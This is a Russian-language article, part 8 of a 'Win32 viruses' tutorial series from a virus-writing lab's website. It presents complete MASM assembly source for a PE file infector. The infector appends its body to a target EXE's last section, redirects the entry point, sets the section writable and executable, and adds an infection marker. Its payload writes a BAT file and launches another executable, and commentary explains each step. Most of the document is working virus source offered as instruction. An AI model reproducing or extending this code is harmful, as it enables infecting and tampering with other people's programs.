Welcome to The Passion Of Code Laboratory!!!Статьи

"Win32-вирусы"
8. Способность нечто «породить».

Автор:_follower / TPOC

 

В данном этапе мы научим нашу программу порождать самостоятельный BAT   файл и запускать другие EXE – файлы.  

Продумаем наши действия. Какие API нам нужны? Мы хотим …

 

Что мы хотим

Требуемая API -функция

  1. открыть файл
CreateFileA( )
  1. записать файл
WriteFile( )
  1. закрыть файл
CloseHandle( )
  1. запустить на выполнение
WinExec( )

 

Как узнать какую необходимо подгрузить dll, для  получения доступа к той или иной функции? Мне с решением этого вопроса помогла программа  [1.1]

 

Впрочем данный вопрос успешно решается и простым поиском файла содержащего заданное слово:

Смотрите сколько dll – файлов экспортируют эту функцию …

 

Можно воспользоваться короткой справкой :

 

Библиотека                               Описание

advapi.dll                              Защита NT, реестр и другие продвинутые сервисы

comdlg.dll                             Стандартные диалоговые окна

gdi.dll                                    Интерфейс графических устройств

kernel32.dll                           Память, диски, процессы, ресурсы

mpr.dll                                   Сети

netapi32.dll                           Библиотека сетевого API

shell32.dll                             Оболочка Windows, drag-and-drop, выборка значков

user32.dll                              Пользовательский интерфейс-окна, меню, строки, сообщения

version.dll                            Контроль версий

winmm.dll                             Мультимедиа, звук, джойстики, таймеры 

winspoll.dll                           Диспетчер печати

wsock32_dll                         Сокеты

 

Начнем

.386
.MODEL flat,stdcall
OPTION CASEMAP : NONE

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\masm32.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\masm32.lib

MIN_KERNEL_SEARCH_BASE EQU 070000000h
MAX_API_STRING_LENGTH EQU 150
VIRII_SIZE EQU ( OFFSET IGI_END - OFFSET IGI_START)
ALIGN_CORRECTION EQU 000001000h
IGI_TRADEMARK EQU ('IGI')
VIRII_R_SIZE EQU 000000600h ; !!! УВЕЛИЧИЛ ДЛИНУ КОДА УВЕЛИЧЬ ЭТУ ВЕЛИЧИНУ !!!!!
VIRII_V_SIZE EQU 000002000h
MAX EQU 255

.CONST
szError DB "Ошибка",0
szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0
szCap DB ":) ",0
szCap_0 DB "CALL CreateFile is FAILED",0
szCap_1 DB "CALL GetFileSize is FAILED",0
szCap_2 DB "CALL GlobalAlloc is FAILED",0
szCap_3 DB "CALL ReadFile is FAILED",0

.DATA
filter db 'PE-executables (*.exe)',0,'*.exe',0,0
buffer db 255 dup (0)
about db 'Please Pick the Target File',0
about_f db 'Target File is ...',0
hFile DD 0
dwFsize DD 0
pMem DD 0
OpenStruct dd 76,0
dd 0
dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about
dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER
dd 0, 0, 0, 0, 0

cBuff DB 120 DUP (0)
VarBuff DB 0
.CODE
Main:
invoke GetOpenFileNameA, offset OpenStruct
.if eax==0
jmp _exit_
.endif
lea eax,offset buffer
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push EAX
push NULL
CALL MessageBox
;................................................................................................
;................................................................................................
;................................................................................................
invoke CreateFile,offset buffer,\
GENERIC_WRITE or GENERIC_READ ,\;
FILE_SHARE_READ or FILE_SHARE_WRITE,\;
NULL,\
OPEN_EXISTING,\
FILE_ATTRIBUTE_NORMAL,\
NULL
.IF EAX == INVALID_HANDLE_VALUE
XOR EAX, EAX
INC EAX
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_0
push NULL
CALL MessageBox
JMP SkipFileInfection
.ENDIF
MOV hFile, EAX
PUSH 0
PUSH EAX
CALL GetFileSize
OR EAX, EAX
.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_1
push NULL
CALL MessageBox
ADD EAX, 2
JMP SkipFileAndClean1
.ENDIF


MOV dwFsize, EAX
ADD EAX, ALIGN_CORRECTION + VIRII_SIZE
PUSH EAX
PUSH GMEM_FIXED OR GMEM_ZEROINIT
CALL GlobalAlloc
OR EAX, EAX
.IF ZERO?
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_2
push NULL
CALL MessageBox
ADD EAX, 3
JMP SkipFileAndClean1
.ENDIF

MOV pMem, EAX
LEA EAX, OFFSET VarBuff



PUSH NULL
PUSH EAX
PUSH dwFsize
PUSH pMem
PUSH hFile
CALL ReadFile
.IF EAX==0
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET szCap_3
push NULL
CALL MessageBox

CALL GetLastError

push OFFSET cBuff
push eax
CALL dwtoa
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push OFFSET szCap
push OFFSET cBuff
push NULL
CALL MessageBox
.ENDIF



;---- Поищем PE сигнатуру ----
MOV ESI, pMem
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF
ADD WORD PTR SI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
.IF !ZERO?
JMP SkipFileAndClean2
.ENDIF

ASSUME ESI : PTR IMAGE_NT_HEADERS
;----Найдем последнюю секцию----
MOV EDI, ESI
ADD EDI, 0F8h
MOV CX, [ESI].FileHeader.NumberOfSections
.WHILE CX != 1
DEC CX
ADD EDI, SIZEOF IMAGE_SECTION_HEADER
.ENDW
ASSUME EDI : PTR IMAGE_SECTION_HEADER

; WATCOM C/C++ компилчторы устанавливают Misc.VirtualSize в 0, исправим это
.IF [EDI].Misc.VirtualSize == 0
MOV EAX, [ESI].OptionalHeader.SizeOfImage
SUB EAX, [EDI].VirtualAddress
MOV [EDI].Misc.VirtualSize, EAX
.ENDIF

;----Копируем вирусній код в файл----
MOV EAX, [EDI].PointerToRawData
ADD EAX, [EDI].SizeOfRawData
ADD EAX, pMem

PUSH ESI
PUSH EDI
MOV ECX, VIRII_SIZE
MOV ESI, OFFSET IGI_START
XCHG EAX, EDI
REP MOVSB
POP EDI
POP ESI

;----Изменим NT -заголовок ----
;-> Изменим OptionalHeader.FileAlignment
MOV [ESI].OptionalHeader.FileAlignment, 0200h

;->Увеличим ImageBase
ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE

;-> Точка входа (EntryPoint)
; сохраним оригинальную EP
MOV EAX, [EDI].SizeOfRawData
ADD EAX, [EDI].PointerToRawData
ADD EAX, pMem
ADD EAX, (OFFSET Loader_Constants - OFFSET IGI_START)
MOV EBX, [ESI].OptionalHeader.AddressOfEntryPoint
ADD EBX, [ESI].OptionalHeader.ImageBase
;Сохраним -> mov dwOEPVA,ebx
PUSH EBX
POP [EAX]
; Изменим EP
MOV EAX, [EDI].VirtualAddress
ADD EAX, [EDI].SizeOfRawData
MOV [ESI].OptionalHeader.AddressOfEntryPoint, EAX

;->Установим "Товарный знак"
MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK

;----Изменим информацию о секции----
ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE
ADD [EDI].SizeOfRawData, VIRII_R_SIZE
OR [EDI].Characteristics, 0E0000000h ; Секцию можно: читать, писать, выполнять

;---- Пишем из памяти на диск----
;установим файловый указатель записи в 0
PUSH FILE_BEGIN
PUSH NULL
PUSH 0
PUSH hFile
CALL SetFilePointer

; Найдем новый размер файла-жертвы
MOV ECX, [EDI].PointerToRawData
ADD ECX, [EDI].SizeOfRawData

; Пишем на диск
PUSH NULL
LEA EAX, OFFSET VarBuff
PUSH EAX
PUSH ECX
PUSH pMem
PUSH hFile
CALL WriteFile

ASSUME EDI : NOTHING
ASSUME ESI : NOTHING

XOR EAX, EAX

SkipFileAndClean2:
; Освободим выделенную память
PUSH EAX
PUSH pMem
CALL GlobalFree
POP EAX

SkipFileAndClean1:
; Освободим уазатели
PUSH EAX
PUSH hFile
CALL CloseHandle
POP EAX
SkipFileInfection:


invoke ExitProcess,0

;................................................................................................
IGI_START:
;................................................................................................
;................................................................................................
;................................................................................................
;................................................................................................
pushad
call delta
delta:
pop ebp
sub ebp, offset delta

push dword ptr [esp+20h]
call GetKernelBase
or EAX, EAX
jz OEPJump
mov [ebp+dwKernelBase], EAX
;---------------------------------------------------

lea eax, [ebp+OFFSET szWinExec]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_WinExec], EAX

;---------------------------------------------------
lea eax, [ebp+OFFSET szCloseHandle]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_CloseHandle], EAX

;---------------------------------------------------
lea eax, [ebp+OFFSET szWriteFile]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_WriteFile], EAX

;---------------------------------------------------
lea eax, [ebp+OFFSET szDeleteFileA]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_DeleteFileA], EAX
;---------------------------------------------------


lea eax, [ebp+OFFSET szCreateFileA]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_CreateFileA], EAX
;---------------------------------------------------


lea eax, [ebp+OFFSET szLoadLibrary]
PUSH eax
PUSH [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_LoadLibrary], EAX


lea eax, [ebp+OFFSET szGetProcAddress]
push eax
push [ebp+dwKernelBase]
CALL GetProcAddr
MOV [ebp+_GetProcAddress], EAX



lea eax, [ebp+OFFSET szUser32]
push eax
CALL [ebp+_LoadLibrary]
MOV [ebp+dwUserBase], EAX


lea eax, [ebp+OFFSET szMessageBox]
push eax
push [ebp+dwUserBase]
CALL GetProcAddr
MOV [ebp+_MessageBox], EAX



lea eax, [ebp+OFFSET szInfoCap]
push MB_ICONINFORMATION OR MB_SYSTEMMODAL
push 0
push eax
push 0
CALL [ebp+_MessageBox]


push NULL
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_ALWAYS
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_WRITE
lea eax, [ebp+OFFSET szNameBAT]
push eax
CALL [ebp+_CreateFileA]

mov [ebp+hfileBAT],EAX


push 0
lea eax, [ebp+OFFSET Vbuff]
push eax
mov eax, 5
push eax
lea eax, [ebp+OFFSET _fileDAT_0]
push eax
mov EAX,[ebp+hfileBAT]
push eax
CALL [ebp+_WriteFile]

push [ebp+hfileBAT]
CALL [ebp+_CloseHandle]

push 0
lea eax, [ebp+OFFSET szNameEXE]
push eax
CALL [ebp+_WinExec]

;**************************************************************************
OEPJump:
MOV EAX, [EBP+dwOEPVA]
.IF EAX
MOV [ESP+01Ch], EAX
POPAD
JMP EAX
.ELSE
POPAD
RET
.ENDIF
GetKernelBase PROC USES EDI ESI, dwTopStack : DWORD
MOV EDI, dwTopStack
AND EDI, 0FFFF0000h
.WHILE TRUE
.IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE
MOV ESI, EDI
ADD ESI, [ESI+03Ch]
.IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE
.BREAK
.ENDIF
.ENDIF
ExceptCont:
SUB EDI, 010000h
.IF EDI < MIN_KERNEL_SEARCH_BASE
MOV EDI, 0BFF70000h
.BREAK
.ENDIF
.ENDW
XCHG EAX, EDI
RET
GetKernelBase ENDP

GetProcAddr PROC USES ESI EDI ECX EBX EDX, dwDllBase : DWORD, szApi : LPSTR
MOV ESI, dwDllBase
CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE
JNZ @@BadExit
ADD ESI, [ESI+03Ch]
CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE
JNZ @@BadExit
MOV EDI, szApi
MOV ECX, MAX_API_STRING_LENGTH
XOR AL, AL
REPNZ SCASB
MOV ECX, EDI
SUB ECX, szApi
MOV EDX, [ESI+078h]
ADD EDX, dwDllBase
ASSUME EDX : PTR IMAGE_EXPORT_DIRECTORY
MOV EBX, [EDX].AddressOfNames
ADD EBX, dwDllBase
XOR EAX, EAX
.REPEAT
MOV EDI, [EBX]
ADD EDI, dwDllBase
MOV ESI, szApi
PUSH ECX
REPZ CMPSB
.IF ZERO?
.BREAK
.ENDIF
POP ECX
ADD EBX, 4
INC EAX
.UNTIL EAX == [EDX].NumberOfNames


MOV ESI, [EDX].AddressOfNameOrdinals
ADD ESI, dwDllBase
PUSH EDX
MOV EBX, 2
XOR EDX, EDX
MUL EBX
ADD EAX, ESI
XOR ECX, ECX
MOV WORD PTR CX, [EAX]


POP EDX
MOV EDI, [EDX].AddressOfFunctions
XOR EDX, EDX
MOV EBX, 4
MOV EAX, ECX
MUL EBX
ADD EAX, dwDllBase
ADD EAX, EDI
MOV EAX, [EAX]
ADD EAX, dwDllBase
JMP @@ExitProc

ASSUME EDX : NOTHING

@@BadExit:
XOR EAX, EAX
@@ExitProc:

RET
GetProcAddr ENDP


Loader_Constants:
dwOEPVA dd 0

szLoadLibrary db "LoadLibraryA",0
szGetProcAddress db "GetProcAddress",0

szCreateFileA db "CreateFileA",0
szDeleteFileA db "DeleteFileA",0
szWriteFile db "WriteFile",0
szCloseHandle db "CloseHandle",0
szWinExec db "WinExec",0

szUser32 db "user32",0
szMessageBox db "MessageBoxA",0
szInfoCap db "Добрый день, уважаемый! ",0
szNameBAT db "1.bat",0
szNameEXE db "_8.exe",0

hfileBAT dd 0
_CreateFileA dd 0
_DeleteFileA dd 0
_WriteFile dd 0
_CloseHandle dd 0
_WinExec dd 0

_LoadLibrary dd 0
_GetProcAddress dd 0
_MessageBox dd 0


dwKernelBase dd 0
dwUserBase dd 0

_fileDAT_0 db 112, 97, 117, 115, 101

Vbuff dw 0
_exit_:
;...............................................................................................

IGI_END:
end Main

1)
VIRII_R_SIZE EQU 000000600h ; !!! УВЕЛИЧИЛ ДЛИНУ КОДА УВЕЛИЧЬ ЭТУ ВЕЛИЧИНУ
;VIRII_R_SIZE EQU 000000200h

В принципе на данном этапе этого можно и не делать, но! Мы же собираемся порождать что-то более серьезное чем BAT-ники? Давайте увеличим эту величину.

Напомним, что VIRII_R_SIZE – вспомним из 4 – того урока из пункта 11) : « … допустим что размер секции от нашего вируса увеличится на 512*1=200h. То есть мы приняли величину VIRII_R_SIZE равной 200h полностью из жадности, но кратной FileAlignment . »

Посмотрим в [1.1]:
«File Align – ( он же FileAlignment )фактор используемый для выравнивания секций в программном файле. В байтовом значении указывает на границу, на которую секции дополняются 0 при размещении в файле. Большое значение приводит к нерациональному использованию дискового пространства, маленькое увеличивает компактность, но и снижает скорость загрузки. Должен быть степенью 2 в диапазоне от 512 до 64К включительно. Прочие значения вызовут ошибку загрузки файла. Я так думаю, что размер файла штука более важная.»
Очень скоро это увеличение будет оправданно.


2)
push NULL
push FILE_ATTRIBUTE_ARCHIVE
push OPEN_ALWAYS
push NULL
push FILE_SHARE_READ or FILE_SHARE_WRITE
push GENERIC_WRITE
lea eax, [ebp+OFFSET szNameBAT]
push eax
CALL [ebp+_CreateFileA]

mov [ebp+hfileBAT],EAX


push 0
lea eax, [ebp+OFFSET Vbuff]
push eax
mov eax, 5
push eax
lea eax, [ebp+OFFSET _fileDAT_0]
push eax
mov EAX, [ebp+hfileBAT]
push eax
CALL [ebp+_WriteFile]
push [ebp+hfileBAT]
CALL [ebp+_CloseHandle]

Тут мы создаем BAT – файл. Открываем с помощью CreateFileA(), Пишем – WriteFile(), и освобождаем полученный дескриптор CloseHandle(), чтоб не было нареканий.

 

3)
push 0
lea eax, [ebp+OFFSET szNameEXE]
push eax
CALL [ebp+_WinExec]

Используем функцию для запуска еще одного экземпляра приложения…

4)
_fileDAT_0 db 112, 97, 117, 115, 101

Тут нужно разобраться с программой [1.2]. Кстати скачать ее не помешает, она с исходником, вся идея на лицо, как говорится … Программа, что не может не удивить , распознается антивирусными программами как некий FT0DAT.Genegator, что это за подвид я не знаю : )
На выходе программа генерирует следующий код:

 

f_to_dw.txt

invoke _lwrite, file0, addr line1, 5



f_to_dc.txt

line0 db 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0

line1 db 112, 97, 117, 115, 101, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 101



Мы берем только пять «своих» байт - 112, 97, 117, 115, 101

Итак мы наделили нашу программу новой способностью – порождением некоего “полезного” BAT – ника. Более того наша программа может запустить указанный exe - файл, что тоже есть полезным. В следующей статье мы рассмотрим порождение exe – файла и его же запуск , это, думаю, будет и полезным и в то же время не сложным ( учитывая весь путь который мы прошли ). До свиданья.

Перечень используемой литературы:
[1.1] – Описание формата файлов РЕ от Hard Wisdom

Перечень используемого программного обеспечения:
[1.1] - PEview v3.0 (jamk@mail.ru)
[1.2] - file2sc.exe - программа формирования исходников из файла (http://www.danil.com.ua)

Исходник

 

[C] _follower / TPOC

Наши новости

Новые события из жизни нашей лаборатории

Статьи

Статьи и переводы лаборатории TPOC

Программы

Программы лаборатории TPOC

Релизы

Здесь мы сообщаем Вам, какие творения скоро появятся

Ссылки

Ссылки на сайты, где можно найти больше информации

Наша лаборатория

История нашей лаборатории и ее члены

Дата последнего обновления: 4 августа 2005 года
У вас есть предложения по нашему сайту?
Напишите сюда
Любимые сайты вирмейкеров:
(WASM)   (RSDN)